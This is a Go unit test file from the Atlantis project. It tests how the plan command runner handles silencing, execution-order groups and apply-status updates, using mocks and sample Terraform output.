    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/google/go-github/v83/github\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPlanCommandRunner_IsSilenced(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription       string\n\t\tMatched           bool\n\t\tTargeted          bool\n\t\tVCSStatusSilence  bool\n\t\tPrevPlanStored    bool // stores a 1/1 passing plan in the database\n\t\tExpVCSStatusSet   bool\n\t\tExpVCSStatusTotal int\n\t\tExpVCSStatusSucc  int\n\t\tExpSilenced       bool\n\t}{\n\t\t{\n\t\t\tDescription:     \"When planning, don't comment but set the 0/0 VCS status\",\n\t\t\tExpVCSStatusSet: true,\n\t\t\tExpSilenced:     true,\n\t\t},\n\t\t{\n\t\t\tDescription:     \"When planning with any previous plans, don't comment but set the 0/0 VCS status\",\n\t\t\tPrevPlanStored:  true,\n\t\t\tExpVCSStatusSet: true,\n\t\t\tExpSilenced:     true,\n\t\t},\n\t\t{\n\t\t\tDescription:     \"When planning with unmatched target, don't comment but set the 0/0 VCS status\",\n\t\t\tTargeted:        true,\n\t\t\tExpVCSStatusSet: true,\n\t\t\tExpSilenced:     true,\n\t\t},\n\t\t{\n\t\t\tDescription:       \"When planning with unmatched target and any previous plans, don't comment and maintain VCS status\",\n\t\t\tTargeted:          true,\n\t\t\tPrevPlanStored:    true,\n\t\t\tExpVCSStatusSet:   true,\n\t\t\tExpSilenced:       true,\n\t\t\tExpVCSStatusSucc:  1,\n\t\t\tExpVCSStatusTotal: 1,\n\t\t},\n\t\t{\n\t\t\tDescription:      \"When planning with silenced VCS status, don't set any status\",\n\t\t\tVCSStatusSilence: true,\n\t\t\tExpVCSStatusSet:  false, // Silence means no status updates at all\n\t\t\tExpSilenced:      true,\n\t\t},\n\t\t{\n\t\t\tDescription:       \"When planning with matching projects, comment as usual\",\n\t\t\tMatched:           true,\n\t\t\tExpVCSStatusSet:   true,\n\t\t\tExpSilenced:       false,\n\t\t\tExpVCSStatusSucc:  1,\n\t\t\tExpVCSStatusTotal: 1,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t// create an empty DB\n\t\t\ttmp := t.TempDir()\n\t\t\tdb, err := boltdb.New(tmp)\n\t\t\tt.Cleanup(func() {\n\t\t\t\tdb.Close()\n\t\t\t})\n\t\t\tOk(t, err)\n\n\t\t\tvcsClient := setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.SilenceNoProjects = true\n\t\t\t\ttc.silenceVCSStatusNoProjects = c.VCSStatusSilence\n\t\t\t\ttc.database = db\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\n\t\t\tcmd := &events.CommentCommand{Name: command.Plan}\n\t\t\tif c.Targeted {\n\t\t\t\tcmd.RepoRelDir = \"mydir\"\n\t\t\t}\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\t\t\tif c.PrevPlanStored {\n\t\t\t\t_, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tCommand:    command.Plan,\n\t\t\t\t\t\tRepoRelDir: \"prevdir\",\n\t\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tWhen(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).Then(func(args []Param) ReturnValues {\n\t\t\t\tif c.Matched {\n\t\t\t\t\treturn ReturnValues{[]command.ProjectContext{{CommandName: command.Plan}}, nil}\n\t\t\t\t}\n\t\t\t\treturn ReturnValues{[]command.ProjectContext{}, nil}\n\t\t\t})\n\t\t\tWhen(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectCommandOutput{PlanSuccess: &models.PlanSuccess{}})\n\n\t\t\tplanCommandRunner.Run(ctx, cmd)\n\n\t\t\ttimesComment := 1\n\t\t\tif c.ExpSilenced {\n\t\t\t\ttimesComment = 0\n\t\t\t}\n\n\t\t\tvcsClient.VerifyWasCalled(Times(timesComment)).CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]())\n\t\t\tif c.ExpVCSStatusSet {\n\t\t\t\tcommitUpdater.VerifyWasCalledOnce().UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tEq[models.CommitStatus](models.SuccessCommitStatus),\n\t\t\t\t\tEq[command.Name](command.Plan),\n\t\t\t\t\tEq(c.ExpVCSStatusSucc),\n\t\t\t\t\tEq(c.ExpVCSStatusTotal),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tAny[models.CommitStatus](),\n\t\t\t\t\tEq[command.Name](command.Plan),\n\t\t\t\t\tAny[int](),\n\t\t\t\t\tAny[int](),\n\t\t\t\t)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestPlanCommandRunner_ExecutionOrder(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription           string\n\t\tProjectContexts       []command.ProjectContext\n\t\tProjectCommandOutputs []command.ProjectCommandOutput\n\t\tRunnerInvokeMatch     []*EqMatcher\n\t\tPrevPlanStored        bool\n\t\tPlanFailed            bool\n\t}{\n\t\t{\n\t\t\tDescription: \"When first plan fails, the second don't run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tWorkspace:                 \"first\",\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tWorkspace:                 \"second\",\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When first fails, the second will not run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tNever(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When first fails by autorun, the second will not run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tAutoplanEnabled:           true,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tAutoplanEnabled:           true,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tNever(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When both in a group of two succeeds, the following two will run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Third\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Fourth\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t\tNever(),\n\t\t\t\tNever(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When one out of two fails, the following two will not run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelPlanEnabled:       true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Third\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t\tProjectName:               \"Fourth\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"Don't block when parallel is not set\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:               command.Plan,\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"All project finished successfully\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:         command.Plan,\n\t\t\t\t\tExecutionOrderGroup: 0,\n\t\t\t\t\tProjectName:         \"First\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:         command.Plan,\n\t\t\t\t\tExecutionOrderGroup: 1,\n\t\t\t\t\tProjectName:         \"Second\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tPlanFailed: false,\n\t\t},\n\t\t{\n\t\t\tDescription: \"Don't block when abortOnExecutionOrderFail is not set\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName:         command.Plan,\n\t\t\t\t\tExecutionOrderGroup: 0,\n\t\t\t\t\tProjectName:         \"First\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName:         command.Plan,\n\t\t\t\t\tExecutionOrderGroup: 1,\n\t\t\t\t\tProjectName:         \"Second\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"true\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tPlanFailed: true,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t// vcsClient := setup(t)\n\n\t\t\ttmp := t.TempDir()\n\t\t\tdb, err := boltdb.New(tmp)\n\t\t\tt.Cleanup(func() {\n\t\t\t\tdb.Close()\n\t\t\t})\n\t\t\tOk(t, err)\n\n\t\t\tvcsClient := setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.database = db\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\t\t\tpull := &github.PullRequest{\n\t\t\t\tState: github.Ptr(\"open\"),\n\t\t\t}\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\n\t\t\tcmd := &events.CommentCommand{Name: command.Plan}\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\n\t\t\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil)\n\t\t\tWhen(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\t\t\tWhen(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil)\n\t\t\t// When(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).Then(func(args []Param) ReturnValues {\n\t\t\t// \treturn ReturnValues{[]command.ProjectContext{{CommandName: command.Plan}}, nil}\n\t\t\t// })\n\t\t\tfor i := range c.ProjectContexts {\n\t\t\t\tWhen(projectCommandRunner.Plan(c.ProjectContexts[i])).ThenReturn(c.ProjectCommandOutputs[i])\n\t\t\t}\n\n\t\t\tplanCommandRunner.Run(ctx, cmd)\n\n\t\t\tfor i := range c.ProjectContexts {\n\t\t\t\tprojectCommandRunner.VerifyWasCalled(c.RunnerInvokeMatch[i]).Plan(c.ProjectContexts[i])\n\t\t\t}\n\n\t\t\trequire.Equal(t, c.PlanFailed, ctx.CommandHasErrors)\n\n\t\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Eq(modelPull.Num), Any[string](), Eq(\"plan\"),\n\t\t\t)\n\t\t})\n\t}\n}\n\nfunc TestPlanCommandRunner_AtlantisApplyStatus(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription            string\n\t\tProjectContexts        []command.ProjectContext\n\t\tProjectCommandOutput   []command.ProjectCommandOutput\n\t\tPrevPlanStored         bool // stores a previous \"No changes\" plan in the database\n\t\tDoNotUpdateApply       bool // certain circumtances we want to skip the call to update apply\n\t\tExpVCSApplyStatusTotal int\n\t\tExpVCSApplyStatusSucc  int\n\t}{\n\t\t{\n\t\t\tDescription: \"When planning with changes, do not change the apply status\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 0 to add, 0 to change, 1 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tDoNotUpdateApply: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When planning with no changes, set the 1/1 apply status\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tExpVCSApplyStatusTotal: 1,\n\t\t\tExpVCSApplyStatusSucc:  1,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When planning with no changes and previous plan with no changes do not set the apply status\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 0 to add, 0 to change, 1 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tDoNotUpdateApply: true,\n\t\t\tPrevPlanStored:   true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When planning with no changes and previous 'No changes' plan, set the 2/2 apply status\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tPrevPlanStored:         true,\n\t\t\tExpVCSApplyStatusTotal: 2,\n\t\t\tExpVCSApplyStatusSucc:  2,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When planning again with changes following a previous 'No changes' plan do not set the apply status\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"prevdir\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 0 to add, 0 to change, 1 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tDoNotUpdateApply: true,\n\t\t\tPrevPlanStored:   true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When planning again with changes following a previous 'No changes' plan, while another plan with 'No changes' do not set the apply status.\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"prevdir\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"Plan: 0 to add, 0 to change, 1 to destroy.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tDoNotUpdateApply: true,\n\t\t\tPrevPlanStored:   true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"When planning again with no changes following a previous 'No changes' plan, while another plan also with 'No changes', set the 2/2 apply status.\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"prevdir\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tCommandName: command.Plan,\n\t\t\t\t\tRepoRelDir:  \"mydir\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutput: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tPrevPlanStored:         true,\n\t\t\tExpVCSApplyStatusTotal: 2,\n\t\t\tExpVCSApplyStatusSucc:  2,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t// create an empty DB\n\t\t\ttmp := t.TempDir()\n\t\t\tdb, err := boltdb.New(tmp)\n\t\t\tt.Cleanup(func() {\n\t\t\t\tdb.Close()\n\t\t\t})\n\t\t\tOk(t, err)\n\n\t\t\tvcsClient := setup(t, func(tc *TestConfig) {\n\t\t\t\ttc.database = db\n\t\t\t})\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\n\t\t\tcmd := &events.CommentCommand{Name: command.Plan}\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\n\t\t\tif c.PrevPlanStored {\n\t\t\t\t_, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tCommand:    command.Plan,\n\t\t\t\t\t\tRepoRelDir: \"prevdir\",\n\t\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\t\tTerraformOutput: \"No changes. Your infrastructure matches the configuration.\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tWhen(projectCommandBuilder.BuildPlanCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil)\n\n\t\t\tfor i := range c.ProjectContexts 